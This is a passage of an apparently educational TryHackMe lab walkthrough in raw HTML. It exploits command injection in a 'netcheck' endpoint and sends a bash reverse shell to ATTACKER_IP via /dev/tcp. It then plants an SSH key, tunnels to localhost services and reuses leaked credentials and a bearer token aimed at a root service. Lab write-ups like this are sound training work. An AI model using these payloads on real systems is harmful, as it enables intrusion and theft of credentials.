&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;id&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;as well.&lt;/p&gt;

&lt;p&gt;This is command injection.&lt;/p&gt;




&lt;h2&gt;
  
  
  5.2 Testing the &lt;code&gt;host&lt;/code&gt; Parameter
&lt;/h2&gt;

&lt;p&gt;We can test the endpoint directly using &lt;code&gt;curl&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-X&lt;/span&gt; POST &lt;span class="se"&gt;\&lt;/span&gt;
  http://&lt;span class="nv"&gt;$TARGET_IP&lt;/span&gt;/internal/netcheck &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s2"&gt;"host=;id"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The application returns output containing something similar to:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;uid=1001(web) gid=1001(web) groups=1001(web)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Success.&lt;/p&gt;

&lt;p&gt;The &lt;code&gt;host&lt;/code&gt; parameter is vulnerable to &lt;strong&gt;OS command injection&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;More importantly, we learn that commands execute as:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;web
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h1&gt;
  
  
  6. Obtaining a Reverse Shell
&lt;/h1&gt;

&lt;p&gt;Running commands through HTTP works, but it quickly becomes inconvenient.&lt;/p&gt;

&lt;p&gt;A reverse shell gives us an interactive terminal.&lt;/p&gt;

&lt;p&gt;The architecture is:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Attacker
192.168.x.x:4444
        ↑
        │ TCP Connection
        │
Target Server
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Instead of our machine connecting to a shell service on the target, the &lt;strong&gt;target connects back to us&lt;/strong&gt;.&lt;/p&gt;




&lt;h2&gt;
  
  
  6.1 Find Your VPN Address
&lt;/h2&gt;

&lt;p&gt;On the attacker machine:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ip addr
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;or:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ip a
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Identify the IP address belonging to your TryHackMe VPN interface.&lt;/p&gt;

&lt;p&gt;Set it:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;ATTACKER_IP&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&amp;lt;YOUR_VPN_IP&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  6.2 Start a Netcat Listener
&lt;/h2&gt;

&lt;p&gt;Open a terminal and run:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nc &lt;span class="nt"&gt;-lvnp&lt;/span&gt; 4444
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Parameters
&lt;/h3&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Option&lt;/th&gt;
&lt;th&gt;Meaning&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;-l&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Listen mode&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;-v&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Verbose output&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;-n&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Disable DNS resolution&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;-p&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Specify port&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Our attacker machine is now waiting for an incoming connection on:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;4444/tcp
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  6.3 Trigger the Reverse Shell
&lt;/h2&gt;

&lt;p&gt;Send a Bash reverse-shell payload through the vulnerable &lt;code&gt;host&lt;/code&gt; parameter:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-X&lt;/span&gt; POST &lt;span class="se"&gt;\&lt;/span&gt;
  http://&lt;span class="nv"&gt;$TARGET_IP&lt;/span&gt;/internal/netcheck &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--data-urlencode&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="s2"&gt;"host=;bash -c 'bash -i &amp;gt;&amp;amp; /dev/tcp/&lt;/span&gt;&lt;span class="nv"&gt;$ATTACKER_IP&lt;/span&gt;&lt;span class="s2"&gt;/4444 0&amp;gt;&amp;amp;1'"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If everything works correctly, our Netcat terminal receives a connection.&lt;/p&gt;

&lt;p&gt;We now have shell access as:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;web
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Why &lt;code&gt;--data-urlencode&lt;/code&gt; Matters
&lt;/h2&gt;

&lt;p&gt;The reverse-shell payload contains characters such as:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;&amp;amp;
&amp;gt;
&amp;lt;
;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;These characters can have special meaning inside HTTP form data or the local shell.&lt;/p&gt;

&lt;p&gt;Using:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nt"&gt;--data-urlencode&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;allows &lt;code&gt;curl&lt;/code&gt; to encode the payload correctly before transmitting it.&lt;/p&gt;




&lt;h1&gt;
  
  
  7. Upgrade the Shell
&lt;/h1&gt;

&lt;p&gt;The initial reverse shell usually lacks features such as:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Proper terminal handling&lt;/li&gt;
&lt;li&gt;Command history&lt;/li&gt;
&lt;li&gt;Tab completion&lt;/li&gt;
&lt;li&gt;Interactive programs&lt;/li&gt;
&lt;li&gt;Correct Ctrl+C behavior&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;A quick improvement is:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;python3 &lt;span class="nt"&gt;-c&lt;/span&gt; &lt;span class="s1"&gt;'import pty; pty.spawn("/bin/bash")'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This creates a pseudo-terminal.&lt;/p&gt;

&lt;p&gt;You now have a significantly more usable shell.&lt;/p&gt;




&lt;h1&gt;
  
  
  8. User Flag
&lt;/h1&gt;

&lt;p&gt;After gaining access, check the current user:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;whoami&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Then inspect the user's home directory:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-la&lt;/span&gt; /home/web
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The user flag is located at:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;/home/web/user.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Read it:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cat&lt;/span&gt; /home/web/user.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Result:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;THM{REDACTED}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;We have completed the initial foothold.&lt;/p&gt;

&lt;p&gt;Now the real privilege-escalation investigation begins.&lt;/p&gt;




&lt;h1&gt;
  
  
  9. Internal Enumeration
&lt;/h1&gt;

&lt;p&gt;Once inside a host, external Nmap results are no longer enough.&lt;/p&gt;

&lt;p&gt;Services may be configured to listen exclusively on:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;127.0.0.1
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;These services cannot normally be reached remotely but may become accessible after compromising the machine.&lt;/p&gt;




&lt;h2&gt;
  
  
  9.1 Inspect Listening Ports
&lt;/h2&gt;

&lt;p&gt;Run:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ss &lt;span class="nt"&gt;-tulnp&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Several localhost-only services appear:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;127.0.0.1:3000
127.0.0.1:9000
127.0.0.1:8080
127.0.0.1:5038
127.0.0.1:3306
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;These ports were invisible during our external Nmap scan because they were bound only to the loopback interface.&lt;/p&gt;




&lt;h2&gt;
  
  
  Understanding &lt;code&gt;127.0.0.1&lt;/code&gt;
&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;127.0.0.1&lt;/code&gt; represents the local machine.&lt;/p&gt;

&lt;p&gt;For example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;0.0.0.0:8080
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;usually means the service accepts connections through every available interface.&lt;/p&gt;

&lt;p&gt;However:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;127.0.0.1:8080
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;means the service can normally only be reached from the same machine.&lt;/p&gt;

&lt;p&gt;After obtaining a shell, this boundary becomes much less useful as a security control.&lt;/p&gt;




&lt;h1&gt;
  
  
  10. Process Enumeration
&lt;/h1&gt;

&lt;p&gt;We need to determine what applications own these ports.&lt;/p&gt;

&lt;p&gt;Start by inspecting Python and Gunicorn processes:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ps aux | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-E&lt;/span&gt; &lt;span class="s2"&gt;"gunicorn|python"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Three particularly interesting services appear:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Service&lt;/th&gt;
&lt;th&gt;Port&lt;/th&gt;
&lt;th&gt;User&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Public Edge application&lt;/td&gt;
&lt;td&gt;&lt;code&gt;80&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;web&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Watchtower operations console&lt;/td&gt;
&lt;td&gt;&lt;code&gt;3000&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;svc-watch&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Automation job runner&lt;/td&gt;
&lt;td&gt;&lt;code&gt;9000&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;root&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;The final entry deserves immediate attention.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Automation Service → root
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If we can influence that application into executing commands, those commands could potentially execute with &lt;strong&gt;root privileges&lt;/strong&gt;.&lt;/p&gt;




&lt;h1&gt;
  
  
  11. Confirming the Privileged Service
&lt;/h1&gt;

&lt;p&gt;Inspect the corresponding systemd unit:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cat&lt;/span&gt; /etc/systemd/system/cc-automation.service
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The service configuration contains:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight ini"&gt;&lt;code&gt;&lt;span class="py"&gt;User&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;root&lt;/span&gt;
&lt;span class="py"&gt;Group&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;root&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This confirms that the automation application executes as the root user.&lt;/p&gt;

&lt;p&gt;We have now identified a potentially valuable privilege-escalation target:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;127.0.0.1:9000
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;But first, we need to understand how it is authenticated.&lt;/p&gt;




&lt;h1&gt;
  
  
  12. Enumerating the Watchtower Service
&lt;/h1&gt;

&lt;p&gt;Another internal service is listening on:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;127.0.0.1:3000
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;From our compromised shell, request its configuration endpoint:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl http://127.0.0.1:3000/api/config
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The API responds with JSON containing several interesting values:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"automation_endpoint"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"http://127.0.0.1:9000"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"ops_note"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"UCP still on default template creds (...) -- ROTATE."&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"telephony_pass"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"&amp;lt;REDACTED&amp;gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"telephony_portal"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"http://127.0.0.1:8080/ucp"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"telephony_user"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"&amp;lt;REDACTED&amp;gt;"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This is a serious information-disclosure issue.&lt;/p&gt;

&lt;p&gt;We have learned:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Automation service → http://127.0.0.1:9000
Telephony portal   → http://127.0.0.1:8080/ucp
Username           → leaked
Password           → leaked
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The configuration also explicitly warns that the credentials should have been rotated.&lt;/p&gt;

&lt;p&gt;That never happened.&lt;/p&gt;




&lt;h1&gt;
  
  
  13. Security Lesson: Internal Does Not Mean Safe
&lt;/h1&gt;

&lt;p&gt;Developers sometimes assume:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;“This endpoint is only accessible from localhost, so exposing secrets there is acceptable.”&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;That assumption is dangerous.&lt;/p&gt;

&lt;p&gt;Once an attacker gains even low-privilege access to the host, localhost-only endpoints become accessible.&lt;/p&gt;

&lt;p&gt;This challenge demonstrates why internal APIs still require:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Authentication&lt;/li&gt;
&lt;li&gt;Authorization&lt;/li&gt;
&lt;li&gt;Secret management&lt;/li&gt;
&lt;li&gt;Least privilege&lt;/li&gt;
&lt;li&gt;Proper network segmentation&lt;/li&gt;
&lt;/ul&gt;




&lt;h1&gt;
  
  
  14. Accessing the Internal UCP Application
&lt;/h1&gt;

&lt;p&gt;The leaked credentials point toward:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;http://127.0.0.1:8080/ucp
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The interface is a browser-based application.&lt;/p&gt;

&lt;p&gt;While interacting with it entirely through &lt;code&gt;curl&lt;/code&gt; might be possible, modern web applications commonly involve:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Sessions&lt;/li&gt;
&lt;li&gt;CSRF tokens&lt;/li&gt;
&lt;li&gt;JavaScript&lt;/li&gt;
&lt;li&gt;Multiple requests&lt;/li&gt;
&lt;li&gt;Client-side navigation&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Using the browser is easier.&lt;/p&gt;

&lt;p&gt;But the service only listens on the target's localhost interface.&lt;/p&gt;

&lt;p&gt;We therefore need &lt;strong&gt;SSH port forwarding&lt;/strong&gt;.&lt;/p&gt;




&lt;h1&gt;
  
  
  15. SSH Local Port Forwarding
&lt;/h1&gt;

&lt;p&gt;SSH tunneling lets us expose the target's localhost service on our own machine.&lt;/p&gt;

&lt;p&gt;Conceptually:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Browser
127.0.0.1:8080
      │
      ▼
SSH Tunnel
      │
      ▼
Target
127.0.0.1:8080
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  15.1 Configure SSH Access
&lt;/h2&gt;

&lt;p&gt;Since we already have shell access as &lt;code&gt;web&lt;/code&gt;, we can place our own public SSH key into that account.&lt;/p&gt;

&lt;p&gt;First create an SSH key on Kali if you do not already have one:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ssh-keygen &lt;span class="nt"&gt;-t&lt;/span&gt; ed25519
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Then display the public key:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cat&lt;/span&gt; ~/.ssh/id_ed25519.pub
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;On the target:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;mkdir&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; ~/.ssh
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Append your public key:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"&amp;lt;YOUR_PUBLIC_KEY&amp;gt;"&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; ~/.ssh/authorized_keys
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Correct the permissions:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;chmod &lt;/span&gt;700 ~/.ssh
&lt;span class="nb"&gt;chmod &lt;/span&gt;600 ~/.ssh/authorized_keys
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  15.2 Create the Tunnel
&lt;/h2&gt;

&lt;p&gt;From Kali:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ssh &lt;span class="nt"&gt;-i&lt;/span&gt; ~/.ssh/id_ed25519 &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-L&lt;/span&gt; 8080:127.0.0.1:8080 &lt;span class="se"&gt;\&lt;/span&gt;
  web@&lt;span class="nv"&gt;$TARGET_IP&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-N&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Understanding the Command
&lt;/h3&gt;

&lt;p&gt;The important part is:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;-L 8080:127.0.0.1:8080
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This means:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;My Kali port 8080
        ↓
SSH tunnel
        ↓
Target's 127.0.0.1:8080
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;-N&lt;/code&gt; tells SSH that we only want port forwarding and do not need an interactive SSH shell.&lt;/p&gt;




&lt;h1&gt;
  
  
  16. Accessing FreePBX UCP
&lt;/h1&gt;

&lt;p&gt;With the SSH tunnel running, open:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;http://127.0.0.1:8080/ucp/
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;in your local browser.&lt;/p&gt;

&lt;p&gt;Authenticate using the credentials discovered from the Watchtower configuration endpoint.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Username: &amp;lt;RECOVERED_USERNAME&amp;gt;
Password: &amp;lt;RECOVERED_PASSWORD&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Authentication succeeds.&lt;/p&gt;




&lt;h1&gt;
  
  
  17. Discovering the Automation Token
&lt;/h1&gt;

&lt;p&gt;Inside the UCP dashboard, inspect the available widgets.&lt;/p&gt;

&lt;p&gt;Add the:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Voicemail
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;widget.&lt;/p&gt;

&lt;p&gt;Select the appropriate mailbox.&lt;/p&gt;

&lt;p&gt;A voicemail exists from extension:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;9000
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The caller-ID metadata contains something similar to:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Automation Key &amp;lt;REDACTED_TOKEN&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This appears highly significant because the privileged automation application is also listening on:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;9000
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The value is the &lt;strong&gt;Bearer authentication token&lt;/strong&gt; required by the automation API.&lt;/p&gt;

&lt;p&gt;We have now obtained:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Automation API endpoint
        +
Bearer authentication token
        =
Authenticated access to root-owned service
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h1&gt;
  
  
  18. What Is a Bearer Token?
&lt;/h1&gt;

&lt;p&gt;A Bearer token is an authentication credential commonly sent through the HTTP &lt;code&gt;Authorization&lt;/code&gt; header.&lt;/p&gt;

&lt;p&gt;Example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;Authorization: Bearer TOKEN_VALUE
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Anyone possessing the token may be treated as an authenticated client.&lt;/p&gt;

&lt;p&gt;This is why authentication tokens must be protected similarly to passwords.&lt;/p&gt;

&lt;p&gt;In this challenge, placing the token inside user-visible voicemail metadata effectively exposes the authentication secret.&lt;/p&gt;




&lt;h1&gt;
  
  
  19. Enumerating the Automation Service
&lt;/h1&gt;

&lt;p&gt;The automation application exposes:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;/jobs/export
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The endpoint accepts a parameter named:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;report
